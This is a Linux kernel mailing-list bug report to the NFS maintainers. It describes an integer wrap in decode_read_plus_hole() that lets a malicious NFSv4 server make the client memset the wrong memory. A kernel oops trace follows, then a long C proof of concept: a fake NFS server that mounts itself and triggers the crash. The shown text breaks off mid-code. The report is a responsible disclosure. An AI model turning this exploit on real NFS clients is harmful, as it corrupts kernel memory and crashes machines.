All of lore.kernel.org
 help / color / mirror / Atom feed
* nfs v4 decode_read_plus_hole() insufficient length sanity check
@ 2022-01-04 20:08 rtm
  0 siblings, 0 replies; only message in thread
From: rtm @ 2022-01-04 20:08 UTC (permalink / raw)
  To: Trond Myklebust, Anna Schumaker; +Cc: linux-nfs

[-- Attachment #1: Type: text/plain, Size: 1445 bytes --]

decode_read_plus_hole() reads a 64-bit length from the server's RPC
reply. There's a sanity-check:

        if (length + res->count > args->count) {

but it doesn't work if length is big enough that the sum wraps, e.g.
0xffffffffffffffff. In that case, eventually the loop in
xdr_buf_pages_zero() calls memset() on the wrong memory.

I've attached a demo:

# uname -a
Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #23 SMP Tue Jan 4 19:38:52 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
# cc nfs_20.c
# ./a.out
...
[   74.362358] Unable to handle kernel paging request at virtual address 92492d8ddff40000
[   74.612471] status: 0000000200000121 badaddr: 92492d8ddff40000 cause: 000000000000000f
[   74.626913] [<ffffffff80346650>] __memset+0x60/0xfc
[   74.637735] [<ffffffff802333ac>] nfs4_xdr_dec_read_plus+0x2d6/0x3fa
[   74.650614] [<ffffffff80617406>] rpcauth_unwrap_resp_decode+0x12/0x1a
[   74.663084] [<ffffffff80618124>] rpcauth_unwrap_resp+0x12/0x1a
[   74.675822] [<ffffffff8060e23a>] call_decode+0x112/0x176
[   74.686253] [<ffffffff8061686c>] __rpc_execute+0x7e/0x21a
[   74.696694] [<ffffffff80616a2c>] rpc_async_schedule+0x24/0x46
[   74.709450] [<ffffffff800209d4>] process_one_work+0x13e/0x28a
[   74.722182] [<ffffffff80020b9c>] worker_thread+0x7c/0x320
[   74.732607] [<ffffffff80027010>] kthread+0x124/0x136
[   74.743073] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
[   74.764059] ---[ end trace ca32aa753f3ddad2 ]---


[-- Attachment #2: nfs_20.c --]
[-- Type: application/octet-stream, Size: 31885 bytes --]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/vfs.h>
#include <dirent.h>
#include <assert.h>
#include <fcntl.h>
#include <errno.h>

int sym_op = 68;
int sym_skip = 0;
int sym_type = 0; // all fattr4 file types
int sym_fh = 0; // all file handles
int sym_bitmaps = 0;
int sym_opaque_len = 0;

int opcounts[256];
long long next_cookie = 3;
int current_fh = 0;
int compound_status;
int send_back;

// map file/dir names to file handle
char *fhnames[100] = {
               "",
               "tmp",
               "x",
               "y",
               "z",
               "zzz",
               0
};

int
name2fh(char *name, int create)
{
  for(int i = 0; fhnames[i]; i++){
    if(strcmp(name, fhnames[i]) == 0)
      return i;
  }
  if(create){
    for(int i = 0; ; i++){
      if(fhnames[i] == 0){
        fhnames[i] = malloc(100);
        strcpy(fhnames[i], name);
        return i;
      }
    }
  }
  return -1;
}

#define NAA 128
unsigned long long aa[NAA] = {
0xffffffffull,
0xfefffffff88c9adaull,
0xffffffffffffffffull,
0xfcffffffffffffffull,
0xfffffffffeffffffull,
0xfcffffffull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;

char ibuf[16*1024];
int ilen = 0;
int ii = 0;
char obuf[16*1024];
int oi = 0;
int symstart = -1;

int readn(int fd, void *xbuf, int n) {
  char *buf = (char *) xbuf;
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

unsigned int
parse32()
{
  if(ii >= ilen){
    printf("parsed beyond the end of the input\n");
    return 0xffffffff;
  }
  unsigned int x = *(int*)(ibuf+ii);
  ii += 4;
  return ntohl(x);
}

unsigned long long
parse64()
{
  unsigned long long hi = parse32();
  unsigned long long lo = parse32();
  return (hi << 32) | lo;
}

// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    if(sid)
      sid[i] = ibuf[ii];
    ii++;
  }
}

unsigned int
parse_opaque(char *buf)
{
  if(buf)
    buf[0] = 0;
  int nominal_n = parse32();
  if(nominal_n > 4096){
    printf("crazy opaque length %d\n", nominal_n);
    return 0;
  }
  int real_n = nominal_n;
  while((real_n%4) != 0) real_n += 1;
  for(int i = 0; i < real_n; i++){
    if(buf && i < real_n)
      buf[i] = ibuf[ii];
    ii++;
  }
  return nominal_n;
}

void
put32(unsigned int x)
{
  assert((oi % 4) == 0);
  *(int*)(obuf+oi) = htonl(x);
  oi += 4;
}

void
put64(unsigned long long x)
{
  put32(x >> 32);
  put32(x);
}

void
put_opaque(int n, char *buf)
{
  int nn = n;
  if(sym_opaque_len && aai < NAA)
    nn ^= aa[aai++];
  put32(nn);
  for(int i = 0; i < n; i++)
    obuf[oi++] = (buf ? buf[i] : 0);
  while(n & 3){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

void
parse_nop()
{
}

void
parse_op_exchange_id()
{
  parse32(); // verifier4, first half
  parse32(); // verifier4, second half
  parse_opaque(0); // eia_clientowner
  int cflags = parse32(); // eia_flags
  parse32(); // state_protect4_a.spa_how, assume SP4_NONE
  int nimpl = parse32(); // length of client_impl_id
  for(int impli = 0; impli < nimpl; impli++){
    char junk[512];
    parse_opaque(junk); // nii_domain
    // printf("nii_domain: %s\n", junk);
    parse_opaque(junk); // nii_name
    // printf("nii_name: %s\n", junk);
    parse64(); // 1/2 of nfstime4
    parse32(); // 1/2 of nfstime4
  }

  // finish EXCHANGE_ID4res
  put32(0); // eir_status = NFS4_OK
  put64(1); // clientid4
  put32(1); // sequenceid4
  int sflags = 0x103 | 0x10000; // EXCHGID4_FLAG_USE_NON_PNFS
  put32(sflags); // eir_flags
  put32(0); // state_protect4_r.spr_how = SP4_NONE
  put64(1); // server_owner4.so_minor_id
  put32(4); // length of so_major_id<>
  put32(0x11223344); // so_major_id<>
  put32(4); // length of eir_server_scope
  put32(0x11223344);
  put32(1); // length of eir_server_impl_id<1>
  put32(4); // nfs_impl_id4.nii_domain
  put32(0x11223344);
  put32(4); // nfs_impl_id4.nii_name
  put32(0x11223344);
  put64(0); // nii_date 1/2
  put32(0); // nii_date 2/2
}

void
parse_op_create_session()
{
  parse64(); // csa_clientid
  int seq = parse32(); // csa_sequence
  parse32(); // csa_flags
  // csa_fore_chan_attrs, csa_back_chan_attrs
  int attrs[2][6];
  for(int i = 0; i < 2; i++){
    for(int j = 0; j < 6; j++){
      attrs[i][j] = parse32();
    }
    parse_opaque(0); // ca_rdma_ird<1>
  }
  // XXX
  ii = ilen;

  put32(0); // OK
  for(int i = 0; i < 4; i++)
    put32(1); // csr_sessionid i/4
  put32(seq); // csr_sequence
  put32(0x3); // csr_flags

  for(int i = 0; i < 2; i++){
    for(int j = 0; j < 6; j++)
      put32(attrs[i][j]);
    put32(0); // ca_rdma_ird
  }
}

void
parse_op_sequence()
{
  char sid[16];

  parse_sid(sid); // sa_sessionid
  int seq = parse32(); // sa_sequenceid
  int slot = parse32(); // sa_slotid
  int hislot = parse32(); // sa_highest_slotid
  parse32(); // sa_cachethis

  put32(0); // OK
  put_sid(sid); // sr_sessionid
  put32(seq); // sr_sequenceid
  put32(slot); // sr_slotid
  put32(hislot); // sr_highest_slotid
  put32(hislot); // sr_target_highest_slotid
  put32(0); // sr_status_flags
}

void
parse_op_reclaim_complete()
{
  parse32(); // rca_one_fs
  put32(0); // rcr_status
}

void
parse_op_putrootfh()
{
  // no arguments
  put32(0); // OK
  current_fh = 0;
}

void
parse_op_secinfo_no_name()
{
  parse32(); // secinfo_style4
  put32(0); // OK
  put32(1); // # of secinfo4
#if 1
  put32(0); // flavor = AUTH_NULL
#else
  put32(6); // flavor = RPCSEC_GSS
  put32(4); // size of sec_oid4
  put32(0xffffffff);
  put32(0); // qop4
  put32(1); // rpc_gss_svc_t
#endif
}

void
parse_op_destroy_session()
{
  parse_sid(0);
  put32(0); // OK
}

void
parse_op_destroy_clientid()
{
  parse64(); // clientid
  put32(0); // OK
}

void
parse_op_getfh()
{
  // no arguments
  put32(0); // OK
  int xfh = current_fh;
  if(sym_fh) xfh ^= aa[aai++];
  put_opaque(4, (char*)&xfh); // fh
}

//
// called by getattr and readdir.
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
  int words[3];
  for(int i = 0; i < 3; i++){
    words[i] = xwords[i];
    if(sym_bitmaps){
      words[i] ^= aa[aai++];
    }
  }
  int bitwords = 3;
  put32(bitwords);
  int word0i = oi;
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
  int leni = oi;
  put32(0); // placeholder for total length of attrs
  for(int a = 0; a < bitwords*32; a++){
    if(words[a/32] & (1 << (a % 32))){
      if(a == 0){
        put32(3); // # bitmap words of supported attrs
        put32(0xffffffff);
        put32(0xffffffff);
        put32(0xffffffff);
      } else if(a == 1){
        int type = 1;
        if(fh == 0 || fh == 1)
          type = 2;
        if(sym_type) type ^= aa[aai++];
        put32(type); // NF4DIR=2 or NF4REG=1
      } else if(a == 2){
        put32(0); // fh_expire_type
      } else if(a == 3){
        put64(0); // change
      } else if(a == 4){
        put64(4096*10); // size
      } else if(a == 5){
        put32(1); // link support
      } else if(a == 6){
        put32(1); // symlink support
      } else if(a == 8){
        put64(1); // fsid major
        put64(1); // fsid minor
      } else if(a == 10){
        put32(10); // lease time
      } else if(a == 11){
        put32(0); // rdattr_error
      } else if(a == 12){
        // ACL
        int n = 2;
        put32(n);
        for(int i = 0; i < n; i++){
          put32(0); // type
          put32(0); // flag
          put32(0); // mask
          char who[9];
          memset(who, 0, sizeof(who));
          strcpy(who, "nobody");
          put_opaque(strlen(who), who);
        }
      } else if(a == 13){
        put32(0xf); // aclsupport
      } else if(a == 15){
        put32(1); // cansettime
      } else if(a == 16){
        put32(0); // case insensitive
      } else if(a == 17){
        put32(1); // case preserving
      } else if(a == 18){
        put32(0); // chown_restricted
      } else if(a == 19){
        // filehandle
        int xfh = fh;
        if(sym_fh) xfh ^= aa[aai++];
        put_opaque(4, (char*)&xfh); // fh
      } else if(a == 20){
        put64(fh); // fileid
      } else if(a == 21){
        put64(9999); // files_avail
      } else if(a == 22){
        put64(9999); // files_free
      } else if(a == 23){
        put64(99999); // files_total
      } else if(a == 24){
        // fs_locations
        put32(1);
        put_opaque(10, "abcde12345"); // pathname4
        put32(1); // locations<>
        put_opaque(10, "abcde12345"); // server
        put32(1);
        put_opaque(10, "abcde12345"); // rootpath
      } else if(a == 26){
        put32(1); // homogeneous
      } else if(a == 27){
        put64(0xffffffffffff); // max file size
      } else if(a == 28){
        put32(0xffff); // max link
      } else if(a == 29){
        put32(256); // max name
      } else if(a == 30){
        put64(10*4096); // max read
      } else if(a == 31){
        put64(10*4096); // max write
      } else if(a == 33){
        put32(0777); // mode
      } else if(a == 34){
        put32(1); // no_trunc
      } else if(a == 35){
        put32(3); // numlinks
      } else if(a == 36){
        // put_opaque(6, "other"); // owner
        put_opaque(6, "nobody"); // owner
        // put_opaque(5, "65534"); // owner
      } else if(a == 37){
        // put_opaque(6, "other"); // owner_group
        put_opaque(6, "nobody"); // owner_group
        // put_opaque(5, "65534"); // owner_group
      } else if(a == 41){
        put32(0); // rawdev major
        put32(0); // rawdev minor
      } else if(a == 42){
        put64(10*1024*1024); // space_avail
      } else if(a == 43){
        put64(10*1024*1024); // space_free
      } else if(a == 44){
        put64(20*1024*1024); // space_total
      } else if(a == 45){
        put64(4096*10); // space used
      } else if(a == 47){
        put64(0); // time access seconds
        put32(0); // nseconds
      } else if(a == 50){
        put64(0); // time create seconds
        put32(0); // nseconds
      } else if(a == 51){
        put64(0); // time delta seconds
        put32(0); // nseconds
      } else if(a == 52){
        put64(0); // time metadata seconds
        put32(0); // nseconds
      } else if(a == 53){
        put64(0); // time modify seconds
        put32(0); // nseconds
      } else if(a == 55){
        put64(0); // mounted_on_fileid ???
      } else if(a == 62){
        // fs_layout_types
        put32(1);
        put32(1); // LAYOUT4_NFSV4_1_FILES
      } else if(a == 65){
        // LAYOUT_BLKSIZE
        put32(1024);
      } else if(a == 77){
        // CLONE_BLKSIZE
        put32(1024);
      } else if(a == 79){
        // CHANGE_ATTR_TYPE
        put32(4); // ???
      } else if(a == 82){
        // CHANGE_ATTR_TYPE
        put32(4); // ???
      } else if(a == 75){
        // FATTR4_SUPPATTR_EXCLCREAT
        put32(2); // bitmap length
        put32(0xffffffff);
        put32(0xffffffff);
      } else {
        if(sym_bitmaps){
          words[a/32] &= ~(1 << (a % 32));
          *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
        } else {
          printf("unknown requested attr %d\n", a);
          put64(0); // XXX
        }
      }
    }
  }
#if 0
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
#endif
  *(int*)(obuf+leni) = htonl(oi - leni - 4);
}

void
parse_op_getattr()
{
  int bitwords = parse32();
  int words[4];
  memset(words, 0, sizeof(words));
  if(bitwords < 1 || bitwords > 3)
    printf("parse_op_getattr: crazy bitwords %d\n", bitwords);
  for(int i = 0; i < bitwords && i < 4; i++)
    words[i] = parse32();
  put32(0); // OK
  put_fattr4(words, current_fh);
}

void
parse_op_putfh()
{
  char buf[64];
  int n = parse_opaque(buf); // fh
  if(n != 4){
    printf("op_putfh fh size %d, not 4\n", n);
    exit(1);
  }
  int fh = *(int*)buf;
  current_fh = fh;
  put32(0); // OK
}

void
parse_op_access()
{
  int mask = parse32(); // mask of rights to query
  put32(0); // OK
  put32(mask); // supported = all rights
  put32(mask); // access = all rights
}

void
parse_op_lookup()
{
  char name[256];
  int n = parse_opaque(name);
  name[n>=0?n:0] = '\0';
  int xfh = name2fh(name, 0);
  if(xfh < 0){
    printf("lookup %s -> ENOENT\n", name);
    put32(2); // NFS4ERR_NOENT
    if(compound_status == 0)
      compound_status = 2;
  } else {
    put32(0); // OK
    current_fh = xfh;
    printf("lookup %s -> fh %d\n", name, current_fh);
  }
}

void
parse_op_lookupp()
{
  current_fh = 1; // /tmp
  put32(0); // OK
}

void
parse_op_readdir()
{
  long long cookie = parse64();
  long long verf = parse64(); // cookie verifier
  parse32(); // dircount
  parse32(); // maxcount
  // attr_request
  int bitwords = parse32();
  int words[4];
  memset(words, 0, sizeof(words));
  for(int i = 0; i < bitwords && i < 4; i++)
    words[i] = parse32();

  put32(0); // OK
  put64(verf); // cookieverf
  char *names[] = { "z", "zzz" };
  for(int i = 0; i < 2; i++){
    put32(1); // *nextentry
    put64(next_cookie++); // cookie
    put_opaque(3, names[i]); // name
    put_fattr4(words, name2fh(names[i], 1));
  }

  put32(0); // *nextentry

  put32(1); // eof
}

void
parse_op_open()
{
  char name[256];
  name[0] = 0;
  parse32(); // seqid
  parse32(); // share_access
  parse32(); // share_deny
  parse64(); // owner client id
  parse_opaque(0); // owner owner
  // openflag4
  int opentype = parse32();
  if(opentype == 1){
    // OPEN4_CREATE
    int mode = parse32(); // createhow4
    if(mode == 0){
      // UNCHECKED4
      // fattr4 createattrs
      int bitwords = parse32();
      int words[32];
      for(int i = 0; i < bitwords; i++)
        words[i] = parse32();
      parse_opaque(0); // attrlist4
    } else {
      printf("OPEN4_CREATE unknown mode %d\n", mode);
      exit(1);
    }
  } else if(opentype == 0){
    // OPEN4_NOCREATE
  } else {
    printf("unknown opentype %d\n", opentype);
    exit(1);
  }
  int open_claim_type = parse32();
  if(open_claim_type == 0){
    // CLAIM_NULL
    parse_opaque(name); // file name
  } else if(open_claim_type == 2){
    // CLAIM_DELEGATE_CUR
    // open_claim_delegate_cur4
    // stateid4
    parse32(); // seqid
    parse32();
    parse32();
    parse32();
    parse_opaque(name); // file name
  } else if(open_claim_type == 4){
    // CLAIM_FH
  } else {
    printf("oy, open_claim_type %d\n", open_claim_type);
    exit(1);
  }

  int xfh = name2fh(name, opentype);
  if(xfh < 0){
    printf("open(%s) ENOENT\n", name);
    put32(2); // NFS4ERR_NOENT
  } else {
    put32(0); // OK
    // stateid4
    put32(1); // seqid
    put32(1); // other
    put32(1);
    put32(1);
    // change_info4
    put32(1);
    put64(0); // before
    put64(0); // after
    put32(0); // rflags
    put32(0); // attrset bitmap length
    // open_delegation4
    put32(0); // OPEN_DELEGATE_NONE
    printf("  name=%s\n", name);
    if(name[0]){
      current_fh = xfh;
    } else {
      printf("op_open: no name with which to set fh\n");
    }
  }
}

void
parse_op_setattr()
{
  // stateid4
  parse32(); // seqid
  parse32(); // other
  parse32(); // other
  parse32(); // other
  // fattr4
  int bitwords = parse32();
  int words[64];
  for(int i = 0; i < bitwords; i++)
    words[i] = parse32();
  parse_opaque(0); // attrlist4

  put32(0); // OK
  put32(bitwords);
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
}

void
parse_op_layoutget()
{
  parse32(); // loga_signal_layout_avail
  parse32(); // layouttype4
  parse32(); // layoutiomode4
  parse64(); // offset
  parse64(); // length
  parse64(); // minlength
  parse32(); // stateid4 seqid
  parse32(); // stateid4 other
  parse32(); // stateid4 other
  parse32(); // stateid4 other
  parse32(); // count32
  
  put32(0); // OK
  put32(0); // return_on_close
  put32(0); // stateid4 seqid
  put32(0); // stateid4 other
  put32(0); // stateid4 other
  put32(0); // stateid4 other
  put32(1); // # of layout4
  put64(0); // offset
  put64(1000000); // length
  put32(3); // layoutiomode4
  put32(1); // layouttype4
  put_opaque(8, "xxxxxxxx"); // loc_body
}

void
parse_op_write()
{
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse64(); // offset
  parse32(); // stable_how4
  int n = parse_opaque(0); // data

  put32(0); // OK
  put32(n); // count
  put32(0); // UNSTABLE4
  put64(1); // verifier
}

void
parse_op_read()
{
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse32(); // stateid4
  parse64(); // offset
  parse32(); // count

  put32(0); // OK
  put32(1); // eof
  put_opaque(4, "abcd");
}

void
parse_op_commit()
{
  parse64(); // offset
  parse32(); // count
  put32(0); // OK
  put64(1); // verifier4
}

void
parse_op_close()
{
  parse32(); // seqid
  parse32(); // stateid4.seqid
  parse32(); // stateid4.other
  parse32(); // stateid4.other
  parse32(); // stateid4.other
  put32(0); // OK
  put32(2); // seqid
  put32(1); // other
  put32(1);
  put32(1);
}

void
parse_op_create()
{
  int type = parse32(); // type
  char name[128];
  memset(name, 0, sizeof(name));
  int namelen = parse_opaque(name);
  // fattr4
  int bitwords = parse32();
  int words[64];
  for(int i = 0; i < bitwords; i++)
    words[i] = parse32();
  parse_opaque(0); // attrlist4
  printf("create type=%d name=%s\n", type, name);

  current_fh = name2fh(name, 1);
  put32(0); // OK
  put32(1); // change_info4.atomic
  put64(1); // before
  put64(2); // after
  put32(bitwords);
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
}

void
parse_op_remove()
{
  char name[256];
  memset(name, 0, sizeof(name));
  int namelen = parse_opaque(name);
  put32(0); // OK
  put32(1); // change_info4.atomic
  put64(1); // before
  put64(2); // after
}

int saved_fh;

void
parse_op_savefh()
{
  saved_fh = current_fh;
  put32(0); // OK
}

void
parse_op_restorefh()
{
  current_fh = saved_fh;
  put32(0); // OK
}

void
parse_op_rename()
{
  char name1[256], name2[256];
  memset(name1, 0, sizeof(name1));
  memset(name2, 0, sizeof(name2));
  parse_opaque(name1);
  parse_opaque(name2);
  printf("rename %s %s\n", name1, name2);

  put32(0); // OK
  // change_info4
  put32(1);
  put64(1); // before
  put64(2); // after
  // change_info4
  put32(1);
  put64(3); // before
  put64(4); // after
}

void
parse_op_seek()
{
  // stateid4
  parse32(); // seqid
  parse32();
  parse32();
  parse32();
  long offset = parse64(); // offset
  int what = parse32();
  printf("seek offset=%ld what=%d\n", offset, what);
  put32(0); // OK
  if(what == 0){
    // next data?
    if(offset >= 32){
      put32(1);
      put64(offset);
    } else {
      put32(0);
      put64(offset + 1);
    }
  } else {
    // next hole?
    if(offset >= 32){
      put32(1);
      put64(offset);
    } else {
      put32(0);
      put64(32);
    }
  }
}

void
parse_op_copy()
{
  // stateid4
  parse32(); // seqid
  parse32();
  parse32();
  parse32();
  // stateid4
  parse32(); // seqid
  parse32();
  parse32();
  parse32();
  parse64(); // offset
  parse64(); // offset
  long long count = parse64(); // count
  parse32(); // consecutive
  parse32(); // synchronous
  int nloc = parse32();
  for(int i = 0; i < nloc; i++){
    int type = parse32();
    if(type == 1 || type == 2){
      parse_opaque(0); // name of url
    } else {
      parse_opaque(0); // network id
      parse_opaque(0); // universal address
    }
  }

  put32(0); // OK
  // stateid4 callback_id<1>
  if(1){
    put32(0); // n
  } else {
    put32(1); // n
    put32(1); // seqid
    put32(1); // other
    put32(1);
    put32(1);
  }
  put64(count); // count
  put32(0); // stable_how UNSTABLE
  put64(0); // verifier
  put32(1); // consecutive
  put32(1); // synchronous
}

void
parse_op_lock()
{
  parse32(); // lock type
  parse32(); // reclaim
  parse64(); // offset
  parse64(); // length
  int owner = parse32(); // lock4 new_lock_owner
  if(owner){
    parse32(); // open_seqid
    // stateid4
    parse32(); // seqid
    parse32();
    parse32();
    parse32();
    parse32(); // lock_seqid
    parse64(); // clientid
    parse_opaque(0); // owner
  } else {
    // stateid4
    parse32(); // seqid
    parse32();
    parse32();
    parse32();
    parse32(); // seqid
  }

  put32(0); // OK
  // stateid4
  put32(1); // seqid
  put32(1); // other
  put32(1);
  put32(1);

  send_back = 1;
}

void
parse_op_locku()
{
  parse32(); // lock type
  parse32(); // seqid
  // stateid4
  parse32(); // seqid
  parse32();
  parse32();
  parse32();
  parse64(); // offset
  parse64(); // length

  put32(0); // OK
  // stateid4
  put32(1); // seqid
  put32(1); // other
  put32(1);
  put32(1);
}

void
parse_op_free_stateid()
{
  // stateid4
  parse32(); // seqid
  parse32();
  parse32();
  parse32();

  put32(0); // OK
}

void
parse_compound()
{
  char tag[512];
  int taglen = parse_opaque(tag); // tag
  parse32(); // client minor version
  int nops = parse32();

  // start a COMPOUND4res
  int status_oi = oi;
  compound_status = 0;
  put32(compound_status); // place-holder
  put_opaque(taglen, tag);
  put32(nops); // length of resarray<>
  
  int opindex = 0;
  for(opindex = 0; opindex < nops && ii < ilen; opindex++){
    int op = parse32();
    printf("op %d #%d\n", op, opcounts[op&0xff]);
    put32(op); // resop in nfs_resop4
    if(sym_op == op){
      if(sym_skip <= 0){
        symstart = oi;
      }
      sym_skip -= 1;
    }
    if(op == 42){
      parse_op_exchange_id();
    } else if(op == 43){
      parse_op_create_session();
    } else if(op == 53){
      parse_op_sequence();
    } else if(op == 58){
      parse_op_reclaim_complete();
    } else if(op == 24){
      parse_op_putrootfh();
    } else if(op == 52){
      parse_op_secinfo_no_name();
    } else if(op == 44){
      parse_op_destroy_session();
    } else if(op == 57){
      parse_op_destroy_clientid();
    } else if(op == 10){
      parse_op_getfh();
    } else if(op == 9){
      parse_op_getattr();
    } else if(op == 22){
      parse_op_putfh();
    } else if(op == 3){
      parse_op_access();
    } else if(op == 15){
      parse_op_lookup();
    } else if(op == 16){
      parse_op_lookupp();
    } else if(op == 26){
      parse_op_readdir();
    } else if(op == 18){
      parse_op_open();
    } else if(op == 45){
      parse_op_free_stateid();
    } else if(op == 12){
      parse_op_lock();
    } else if(op == 14){
      parse_op_locku();
    } else if(op == 6){
      parse_op_create();
    } else if(op == 28){
      parse_op_remove();
    } else if(op == 4){
      parse_op_close();
    } else if(op == 34){
      parse_op_setattr();
    } else if(op == 50){
      parse_op_layoutget();
    } else if(op == 38){
      parse_op_write();
    } else if(op == 25){
      parse_op_read();
    } else if(op == 5){
      parse_op_commit();
    } else if(op == 32){
      parse_op_savefh();
    } else if(op == 31){
      parse_op_restorefh();
    } else if(op == 29){
      parse_op_rename();
    } else if(op == 69){
      parse_op_seek();
    } else if(op == 60){
      parse_op_copy();
    } else {
      printf("unknown op %d\n", op);
      // cannot continue to the next op since
      // we don't know how long this one is.
      break;
    }
    opcounts[op&0xff] += 1;
  }
  *(int*)(obuf+status_oi) = htonl(compound_status);
  if(opindex != nops)
    printf("compound with %d nops but only enough bytes for %d\n", nops, opindex);
  if(ii != ilen)
    printf("compound consumed only %d of %d bytes\n", ii, ilen);
}

void
parse_rpc()
{
  // SUN RPC
  int xid = parse32();
  int mtype = parse32(); // mtype, 0=CALL, 1=REPLY
  if(mtype == 1){
    // rpc reply
    int stat0 = parse32(); // MSG_ACCEPTED
    int flavor = parse32();
    parse_opaque(0); // verf
    int stat1 = parse32(); // status
    int stat2 = parse32(); // status
    parse_opaque(0);
    int nops = parse32();
    int op = parse32();
    printf("got a backchannel reply, stat %d %d, nops %d op1 %d\n", stat1, stat2, nops, op);
    // printf("got a backchannel reply\n");
    return;
  }
  parse32(); // rpc version
  parse32(); // prog#
  parse32(); // prog vers
  int proc = parse32();
  parse32(); // cred type
  parse_opaque(0); // cred
  parse32(); // verf type
  parse_opaque(0); // verf

  put32(xid);
  put32(1); // REPLY
  put32(0); // MSG_ACCEPTED
  put32(0); // opaque_auth flavor = AUTH_NULL
  put32(0); // opaque_auth length
  put32(0); // SUCCESS

  if(proc == 0){
    parse_nop();
  } else if(proc == 1){
    parse_compound();
  } else {
    printf("unknown rpc proc %d\n", proc);
  }
}

void
put_rpc_header(int prog, int proc)
{
  int xid = 1;
  put32(xid++);
  put32(0); // mtype=CALL
  put32(2); // rpc version
  put32(prog); // prog # -- nfs v4 callback
  put32(1); // prog vers
  put32(proc); // proc
  if(proc == 0){
    put32(0); // cred type
    put32(0); // cred len
  } else {
    put32(1); // cred type AUTH_SYS / AUTH_UNIX
    put32(32); // cred length
    put32(0); // stamp
    put_opaque(9, "localhost");
    put32(65534); // uid
    put32(65534); // gid
    put32(0); // # gids
  }
  put32(0); // verf type
  put32(0); // verf len
}

void
sys(const char *cmd)
{
  volatile int x = system(cmd);
  (void) x;
}

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(2049);
  int yes = 1;
  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind"); exit(1);
  }
  listen(s, 10);
  sync();

  int pid1 = fork();
  if(pid1 == 0){
    close(s);
    sleep(1);
    if(system("echo -n mount: ; mount -o nolock,nodev 127.0.0.1:/tmp /mnt") == 0){
      if(0){
        printf("statfs: "); fflush(stdout);
        struct statfs sb;
        int ret = statfs("/mnt/.", &sb);
        printf("statfs -> %d\n", ret);
      }
      if(0){
        int fd = open("/mnt", 0);
        if(fd < 0) { perror("/mnt"); exit(1); }
        off_t base = 0;
        char buf[4096];
        ssize_t ret = getdirentries(fd, buf, sizeof(buf), &base);
        printf("getdirentries ret %ld errno %d\n", ret, errno);
        if(ret < 0) perror("getdirentries");
        close(fd);
      }
      if(0){
        int fd = open("/mnt/x", 0);
        printf("open /mnt/x -> %d errno %d\n", fd, errno);
        if(fd < 0) perror("/mnt/x");
        close(fd);
      }
      if(1){
        int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
        printf("creat /mnt/new -> %d errno %d\n", fd, errno);
        if(fd < 0) perror("/mnt/new");
        if(write(fd, "x", 1) < 0) perror("write");
        lseek(fd, 0L, 0);
        char buf[512];
        volatile int junk = read(fd, buf, sizeof(buf));
        (void) junk;
        //mkdir("/mnt/new/newnew", 0777);
        //if(unlink("/mnt/new") < 0) perror("unlink");
        //close(fd);
        if(flock(fd, LOCK_EX) < 0) perror("flock");
        sleep(1);
      }
      if(0){
        int ret = mkdir("/mnt/d", 0777);
        printf("mkdir /mnt/d -> %d errno %d\n", ret, errno);
